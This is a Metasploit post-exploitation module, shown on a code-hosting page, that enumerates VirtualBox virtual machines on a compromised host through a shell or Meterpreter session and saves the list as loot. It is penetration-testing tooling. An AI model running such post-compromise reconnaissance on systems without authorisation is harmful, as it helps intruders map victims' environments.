Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/enum_vbox.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'yaml'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Multi Gather VirtualBox VM Enumeration',
16
'Description' => %q{
17
This module will attempt to enumerate any VirtualBox VMs on the target machine.
18
Due to the nature of VirtualBox, this module can only enumerate VMs registered
19
for the current user, therefore, this module needs to be invoked from a user context.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => ['theLightCosine'],
23
'Platform' => %w[bsd linux osx unix win],
24
'SessionTypes' => ['shell', 'meterpreter' ],
25
'Notes' => {
26
'Stability' => [CRASH_SAFE],
27
'SideEffects' => [],
28
'Reliability' => []
29
}
30
)
31
)
32
end
33
34
def run
35
case session.platform
36
when 'windows'
37
if session.type == 'meterpreter'
38
begin
39
res = cmd_exec('c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage', 'list -l vms')
40
rescue ::Rex::Post::Meterpreter::RequestError
41
print_error('VirtualBox does not appear to be installed on this machine')
42
return nil
43
end
44
45
if res.empty?
46
print_status('VirtualBox is installed but this user has no VMs registered. Try another user.')
47
return nil
48
end
49
else
50
res = cmd_exec('"c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage" list -l vms')
51
if res.empty?
52
print_error('VirtualBox isn\'t installed or this user has no VMs registered')
53
return nil
54
end
55
end
56
when 'unix', 'linux', 'bsd', 'osx'
57
res = cmd_exec('vboxmanage list -l vms')
58
59
unless res.start_with?('Sun VirtualBox') || res.include?('Name:')
60
print_error('VirtualBox isn\'t installed or this user has no VMs registered')
61
return nil
62
end
63
end
64
65
return nil unless res
66
67
vprint_status(res)
68
store_path = store_loot('virtualbox_vms', 'text/plain', session, res, 'virtualbox_vms.txt', 'Virtualbox Virtual Machines')
69
print_good("#{peer} - File successfully retrieved and saved on #{store_path}")
70
end
71
72
end
73
74